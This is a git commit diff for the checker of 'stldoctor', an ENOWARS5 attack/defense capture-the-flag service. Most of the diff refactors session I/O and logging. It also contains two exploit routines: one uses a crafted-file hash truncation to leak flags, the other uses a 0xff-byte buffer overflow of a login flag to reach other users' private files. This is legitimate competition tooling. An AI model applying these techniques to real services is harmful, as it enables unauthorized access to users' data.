enowars5-service-stldoctor

STL-Analyzing A/D Service for ENOWARS5 in 2021
git clone https://git.sinitax.com/sinitax/enowars5-service-stldoctor
Log | Files | Refs | README | LICENSE | sfeed.txt

commit 7c92f5fbbfc813916bc22fe2dfd6ad709c8bb7d7
parent 3754f26eff608ff48afeb144b1e8fb2d097f428c
Author: Louis Burda <quent.burda@gmail.com>
Date:   Tue,  6 Jul 2021 15:09:23 +0200

add logging and abstract read / write in session class

Diffstat:
Mchecker/src/checker.py | 216++++++++++++++++++++++++++++++++++++++++++++-----------------------------------
Mservice/src/msgs/motd | 2+-
Msrc/msgs/motd | 2+-
3 files changed, 123 insertions(+), 97 deletions(-)

diff --git a/checker/src/checker.py b/checker/src/checker.py @@ -7,12 +7,14 @@ import random import re import struct import subprocess +import time import numpy as np logging.getLogger("_curses").setLevel(logging.CRITICAL) from asyncio import StreamReader, StreamWriter +from asyncio.exceptions import TimeoutError from io import BytesIO from logging import LoggerAdapter from typing import Any, Optional, Union, cast @@ -58,29 +60,77 @@ checker = Enochecker("stldoctor", 9090) app = lambda: checker.app +async def timed(promise: Any, logger: LoggerAdapter, ctx: str) -> Any: + logger.debug("Started: {}".format(ctx)) + start = time.time() + result = await promise + end = time.time() + logger.debug("Done: {} (took {:.3f} seconds)".format(ctx, end - start)) + return result + + class Session: - def __init__(self, socket: AsyncSocket) -> None: + def __init__(self, socket: AsyncSocket, logger: LoggerAdapter) -> None: socket_tuple = cast(tuple[StreamReader, StreamWriter], socket) self.reader = socket_tuple[0] self.writer = socket_tuple[1] + self.logger = logger + self.closed = False + + async def __aenter__(self) -> "Session": + await timed(self.prepare(), self.logger, ctx="preparing session") + return self + + async def __aexit__(self, *args: list[Any], **kwargs: dict[str, Any]) -> None: + await timed(self.exit(), self.logger, ctx="closing session") + + async def readuntil(self, target: bytes, ctx: Optional[str] = None) -> bytes: + try: + ctxstr = f"readuntil {target!r}" if ctx is None else ctx + return await timed(self.reader.readuntil(target), self.logger, ctx=ctxstr) + except TimeoutError: + self.logger.critical(f"Service timed out while waiting for {target!r}") + raise MumbleException("Service took too long to respond") + + async def readline(self, ctx: Optional[str] = None) -> bytes: + return await self.readuntil(b"\n", ctx=ctx) + + async def read(self, n: int, ctx: Optional[str]) -> bytes: + try: + ctxstr = f"reading {n} bytes" if ctx is None else ctx + return await timed(self.reader.readexactly(n), self.logger, ctx=ctxstr) + except TimeoutError: + self.logger.critical(f"Service timed out while reading {n} bytes") + raise MumbleException("Service took too long to respond") + + async def drain(self) -> None: + await self.writer.drain() - async def __atexit__(self) -> None: - await self.close() + def write(self, data: bytes) -> None: + self.writer.write(data) async def prepare(self) -> None: - await self.reader.readuntil(prompt) # skip welcome banner + await self.readuntil(prompt) + + async def exit(self) -> None: + if self.closed: + return + self.write(b"exit\n") + await self.drain() + await self.readuntil(b"bye!") + await self.close() async def close(self) -> None: - self.writer.write(b"exit\n") - await self.writer.drain() - await self.reader.readuntil(b"bye!") # ensure clean exit + if self.closed: + return + self.closed = True self.writer.close() await self.writer.wait_closed() @checker.register_dependency -def _get_session(socket: AsyncSocket) -> Session: - return Session(socket) +def _get_session(socket: AsyncSocket, logger: LoggerAdapter) -> Session: + return Session(socket, logger) def ensure_bytes(v: Union[str, bytes]) -> bytes: @@ -89,7 +139,7 @@ def ensure_bytes(v: Union[str, bytes]) -> bytes: elif type(v) == str: return v.encode() else: - raise InternalErrorException("Tried to pass non str/bytes to bytes arg") + raise InternalErrorException(f"Tried to convert {type(v)} arg to bytes") def includes_all(resp: bytes, targets: list[bytes]) -> bool: @@ -328,12 +378,12 @@ async def do_auth( session: Session, logger: LoggerAdapter, authstr: bytes, check: bool = True ) -> Optional[bool]: logger.debug(f"Logging in with {authstr!r}") - session.writer.write(b"auth\n") - session.writer.write(authstr + b"\n") - await session.writer.drain() + session.write(b"auth\n") + session.write(authstr + b"\n") + await session.drain() # Check for errors - resp = await session.reader.readline() + resp = await session.readline(ctx="Reading auth response (1)") if b"ERR:" in resp: if check: logger.critical(f"Failed to login with {authstr!r}:\n{resp!r}") @@ -341,7 +391,7 @@ async def do_auth( return None # Also check success message - resp += await session.reader.readuntil(prompt) + resp += await session.readuntil(prompt, ctx="Reading auth response (2)") if b"Success!" not in resp: logger.critical(f"Login with pass {authstr!r} failed") raise MumbleException("Authentication not working properly") @@ -352,9 +402,9 @@ async def do_auth( async def do_list( session: Session, logger: LoggerAdapter, check: bool = True ) -> Optional[bytes]: - session.writer.write(b"list\n") - await session.writer.drain() - resp = await session.reader.readuntil(prompt) + session.write(b"list\n") + await session.drain() + resp = await session.readuntil(prompt, ctx="reading list response") # Check for errors if b"ERR:" in resp and b">> " not in resp: @@ -375,21 +425,21 @@ async def do_upload( ) -> Optional[bytes]: # Upload file logger.debug(f"Uploading model with name {modelname!r}") - session.writer.write(b"upload\n") - session.writer.write(modelname + b"\n") - session.writer.write(f"{len(stlfile)}\n".encode()) - session.writer.write(stlfile) - await session.writer.drain() + session.write(b"upload\n") + session.write(modelname + b"\n") + session.write(f"{len(stlfile)}\n".encode()) + session.write(stlfile) + await session.drain() # Check for errors # TODO improve by reading responses separately - resp = await session.reader.readline() - resp += await session.reader.readline() + resp = await session.readline(ctx="Reading upload response (1)") + resp += await session.readline(ctx="Reading upload response (2)") if b"ERR:" in resp: if check: logger.critical(f"Failed to upload model {modelname!r}:\n{resp!r}") raise MumbleException("File upload not working properly") - await session.reader.readuntil(prompt) + await session.readuntil(prompt, ctx="Waiting for prompt") return None # Parse ID @@ -401,7 +451,7 @@ async def do_upload( logger.critical(f"Invalid response during upload of {modelname!r}:\n{resp!r}") raise MumbleException("File upload not working properly") - await session.reader.readuntil(prompt) + await session.readuntil(prompt, ctx="Waiting for prompt") return modelid @@ -416,14 +466,14 @@ async def do_search( # Initiate download logger.debug(f"Retrieving model with name {modelname!r}") - session.writer.write(b"search " + modelname + b"\n") - session.writer.write(b"0\n") # first result - session.writer.write(b"y\n" if download else b"n\n") - session.writer.write(b"q\n") # quit - await session.writer.drain() + session.write(b"search " + modelname + b"\n") + session.write(b"0\n") # first result + session.write(b"y\n" if download else b"n\n") + session.write(b"q\n") # quit + await session.drain() # Check if an error occured - line = await session.reader.readline() + line = await session.readline() if b"ERR:" in line: if check: logger.critical(f"Failed to retrieve model {modelname!r}:\n{line!r}") @@ -431,19 +481,21 @@ async def do_search( if b"Couldn't find a matching scan result" in line: # collect all the invalid commands sent after (hacky) # TODO: improve by checking every response in search - await session.reader.readuntil(prompt) - await session.reader.readuntil(prompt) - await session.reader.readuntil(prompt) - await session.reader.readuntil(prompt) + await session.readuntil(prompt) + await session.readuntil(prompt) + await session.readuntil(prompt) + await session.readuntil(prompt) return None # read until end of info box - fileinfo = line + await session.reader.readuntil(b"================== \n") + fileinfo = line + await session.readuntil( + b"================== \n", ctx="Reading stl info" + ) stlfile = b"" if download: # Parse file contents - await session.reader.readuntil(b"Here you go.. (") - resp = await session.reader.readuntil(b"B)\n") + await session.readuntil(b"Here you go.. (", ctx="Reading stl size (1)") + resp = await session.readuntil(b"B)\n", ctx="Reading stl size (2)") resp = resp[:-3] size = parse_int(resp) if size is None: @@ -452,9 +504,9 @@ async def do_search( ) logger.debug(f"Download size: {size}") - stlfile = await session.reader.readexactly(size) + stlfile = await session.read(size, ctx="Reading stl contents") - await session.reader.readuntil(prompt) + await session.readuntil(prompt) return fileinfo, stlfile @@ -462,7 +514,7 @@ async def do_search( async def check_line(session: Session, logger: LoggerAdapter, context: str) -> bytes: - line = await session.reader.readline() + line = await session.readline() if b"ERR:" in line: logger.critical(f"{context}: Unexpected error message\n") raise MumbleException("Service returned error during valid interaction") @@ -639,7 +691,6 @@ async def test_good_upload( # Create new session, register and upload file session = await di.get(Session) - await session.prepare() if register: await do_auth(session, logger, authstr, check=True) modelid = await do_upload(session, logger, modelname, stlfile, check=True) @@ -659,11 +710,9 @@ async def test_good_upload( ) if register: await check_listed(session, logger, [modelname, modelid + b"-"]) - await session.close() # Try getting file from a new session session = await di.get(Session) - await session.prepare() if register: await check_not_in_search( session, logger, modelname, expected, download=True, fail=True @@ -693,7 +742,6 @@ async def test_good_upload( ref_modelid=modelid, ref_solidname=solidname, ) - await session.close() async def test_bad_upload(di: DependencyInjector, filetype: str, variant: int) -> None: @@ -703,11 +751,9 @@ async def test_bad_upload(di: DependencyInjector, filetype: str, variant: int) - # Ensure a malformed file causes an error session = await di.get(Session) - await session.prepare() if await do_upload(session, logger, modelname, stlfile, check=False): logger.critical(f"Able to upload malformed file:\n{stlfile!r}") raise MumbleException("Upload validation not working properly") - await session.close() async def test_search(di: DependencyInjector, registered: bool = False) -> None: @@ -716,7 +762,6 @@ async def test_search(di: DependencyInjector, registered: bool = False) -> None: # Ensure searching for a file that doesnt exist causes an error session = await di.get(Session) - await session.prepare() if registered: await do_auth(session, logger, authstr, check=True) if resp := await do_search(session, logger, modelname, download=False, check=False): @@ -725,7 +770,6 @@ async def test_search(di: DependencyInjector, registered: bool = False) -> None: f"Search for file that shouldn't exist succeeded:\n{resp[0]+resp[1]!r}" ) raise MumbleException("File search not working properly") - await session.close() # CHECKER METHODS # @@ -741,11 +785,9 @@ async def putflag_guest( # Generate a file with flag in solidname and upload it (unregistered, ascii) session = await di.get(Session) - await session.prepare() stlfile = genfile(task.flag.encode(), "ascii") modelid = await do_upload(session, logger, modelname, stlfile, check=True) assert modelid is not None - await session.close() await db.set("info", (modelname, modelid)) @@ -761,11 +803,9 @@ async def putflag_private( # Generate a file with flag in solidname and upload it (registered, bin) session = await di.get(Session) - await session.prepare() await do_auth(session, logger, authstr, check=True) modelid = await do_upload(session, logger, modelname, stlfile, check=True) assert modelid is not None - await session.close() await db.set("info", (modelname, modelid, authstr)) @@ -780,12 +820,10 @@ async def getflag_guest( # Retrieve flag file info via search and ensure flag's included session = await di.get(Session) - await session.prepare() resp = await do_search(session, logger, modelname, download=True, check=True) assert resp is not None assert_in(task.flag.encode(), resp[0], "Flag is missing from stl info") assert_in(task.flag.encode(), resp[1], "Flag is missing from stl file") - await session.close() @checker.getflag(1) @@ -798,7 +836,6 @@ async def getflag_private( # Retrieve private flag file info via search / list and ensure flag's included session = await di.get(Session) - await session.prepare() await do_auth(session, logger, authstr, check=True) search_resp = await do_search(session, logger, modelname, download=True, check=True) assert search_resp is not None @@ -807,7 +844,6 @@ async def getflag_private( list_resp = await do_list(session, logger, check=True) assert list_resp is not None assert_in(task.flag.encode(), list_resp, "Flag is missing from list") - await session.close() @checker.putnoise(0, 1) @@ -820,10 +856,8 @@ async def putnoise_guest( # Generate a random file and upload it (unregistered, bin / ascii) session = await di.get(Session) - await session.prepare() stlfile = genfile(solidname, "ascii" if task.variant_id == 0 else "bin") modelid = await do_upload(session, logger, modelname, stlfile, check=True) - await session.close() await db.set("info", (modelid, modelname, solidname, stlfile)) @@ -838,11 +872,9 @@ async def putnoise_priv( # Generate a random file and upload it (registered, bin / ascii) session = await di.get(Session) - await session.prepare() stlfile = genfile(solidname, "ascii" if task.variant_id == 0 else "bin") await do_auth(session, logger, authstr, check=True) modelid = await do_upload(session, logger, modelname, stlfile, check=True) - await session.close() await db.set("info", (modelid, modelname, solidname, stlfile, authstr)) @@ -857,7 +889,6 @@ async def getnoise_guest( # Retrieve noise file by name via search session = await di.get(Session) - await session.prepare() await check_in_search( session, logger, @@ -865,7 +896,6 @@ async def getnoise_guest( [modelname, solidname, stlfile, modelid], download=True, ) - await session.close() @checker.getnoise(2, 3) @@ -878,7 +908,6 @@ async def getnoise_priv( # Retrieve noise file by name via search and search (registered) session = await di.get(Session) - await session.prepare() await do_auth(session, logger, authstr, check=True) await check_in_search( session, @@ -888,7 +917,6 @@ async def getnoise_priv( download=True, ) await check_listed(session, logger, [modelname, solidname, modelid]) - await session.close() @checker.havoc(0) @@ -967,12 +995,10 @@ async def havoc_test_list_guest(di: DependencyInjector) -> None: # Ensure that list does not work for unregistered users session = await di.get(Session) - await session.prepare() resp = await do_list(session, logger, check=False) if resp is not None: logger.critical("Unregistered user can run list without ERR!") raise MumbleException("User authentication not working properly") - await session.close() @checker.havoc(15) @@ -987,13 +1013,11 @@ async def havoc_fluff_upload(di: DependencyInjector) -> None: # Simple Upload session = await di.get(Session) - await session.prepare() modelid = await do_upload(session, logger, modelname, stlfile, check=True) assert modelid is not None await check_in_search( session, logger, modelname, [modelname, modelid, stlfile], download=True ) - await session.close() @checker.exploit(0) @@ -1004,7 +1028,6 @@ async def exploit_prefix_truncation(di: DependencyInjector) -> bytes: # Upload evil file for parse via search for hash truncation session = await di.get(Session) - await session.prepare() logger.debug("Uploading evil file for hash truncation") await do_upload( session, logger, modelname, stlfile=search_truncation_payload, check=True @@ -1014,9 +1037,9 @@ async def exploit_prefix_truncation(di: DependencyInjector) -> bytes: ) assert search_resp is not None info, contents = search_resp - session.writer.write(b"search last\n") - await session.writer.drain() - filelist_resp = await session.reader.readuntil(b"? ") + session.write(b"search last\n") + await session.drain() + filelist_resp = await session.readuntil(b"? ", ctx="reading search results") filelist = [ l.strip().split(b" : ")[1] for l in filelist_resp.split(b"\n") if b" : " in l ] @@ -1027,20 +1050,25 @@ async def exploit_prefix_truncation(di: DependencyInjector) -> bytes: logger.debug( "Targets:\n" + "\n".join([" - " + l.decode("latin1") for l in filelist]) ) + flag = None for i, fhash in enumerate(filelist): logger.debug(f"Retrieving file {fhash} at index {i}") - session.writer.write(f"{i}\nn\n".encode()) - await session.writer.drain() - filelist_resp = await session.reader.readuntil(b"==================") - filelist_resp += await session.reader.readuntil(b"? ") + session.write(f"{i}\nn\n".encode()) + await session.drain() + filelist_resp = await session.readuntil( + b"==================", ctx="Getting file info (1)" + ) + filelist_resp += await session.readuntil(b"? ", ctx="Getting file info (2)") if flag := searcher.search_flag(filelist_resp.decode("latin1")): - return flag + break # Done! - session.writer.write(b"q\n") - await session.writer.drain() - await session.reader.readuntil(prompt) - await session.close() + session.write(b"q\n") + await session.drain() + await session.readuntil(prompt) + + if flag is not None: + return flag raise MumbleException("Exploit for flagstore 1 failed") @@ -1052,13 +1080,12 @@ async def exploit_hash_overflow(di: DependencyInjector) -> None: # Overflow loggedin variable session = await di.get(Session) - await session.prepare() - session.writer.write(b"search \xff\xff\xff\xff\xff0000000000000000\n") - await session.writer.drain() - await session.reader.readuntil(prompt) - session.writer.write(b"auth\n") - await session.writer.drain() - resp = await session.reader.readuntil(prompt) + session.write(b"search \xff\xff\xff\xff\xff0000000000000000\n") + await session.drain() + await session.readuntil(prompt, ctx="Getting user hashes via search") + session.write(b"auth\n") + await session.drain() + resp = await session.readuntil(prompt, ctx="Checking auth success") if b"Already logged in!" not in resp: raise MumbleException("Exploit did not set 'loggedin' variable via overflow") @@ -1068,7 +1095,7 @@ async def exploit_hash_overflow(di: DependencyInjector) -> None: raise MumbleException("") logger.debug("list response: " + str(resp)) users = [l.split(b" .")[1] for l in resp.split(b"\n") if b">> ." in l] - await session.close() + await session.exit() # Login as each private user for userhash in users: @@ -1078,9 +1105,8 @@ async def exploit_hash_overflow(di: DependencyInjector) -> None: # Authenticate and check if the user is new session = await di.get(Session) - await session.prepare() if not await do_auth(session, logger, authstr, check=True): - await session.close() + await session.exit() # We dont raise an exception, because it could be that user dir was cleaned # up just before we logged in, not necessarily because of an invalid prehash. # If there was a problem with the preimage generation, we wont find a flag and @@ -1089,7 +1115,7 @@ async def exploit_hash_overflow(di: DependencyInjector) -> None: # list all private files of user resp = await do_list(session, logger, check=True) - await session.close() + await session.exit() # Search for flag in solid names solidnames = b"\n".join( diff --git a/service/src/msgs/motd b/service/src/msgs/motd @@ -11,5 +11,5 @@ STLing flags since 2006! C4n y0u r34d th1s? 🏁➡️ 📁 ( *ಥ ⌂ * ) dont pwn pls - *finds file* UwU whats this? + YOUR ADVERTISEMENT HERE! diff --git a/src/msgs/motd b/src/msgs/motd @@ -11,5 +11,5 @@ STLing flags since 2006! C4n y0u r34d th1s? 🏁➡️ 📁 ( *ಥ ⌂ * ) dont pwn pls - *finds file* UwU whats this? + YOUR ADVERTISEMENT HERE!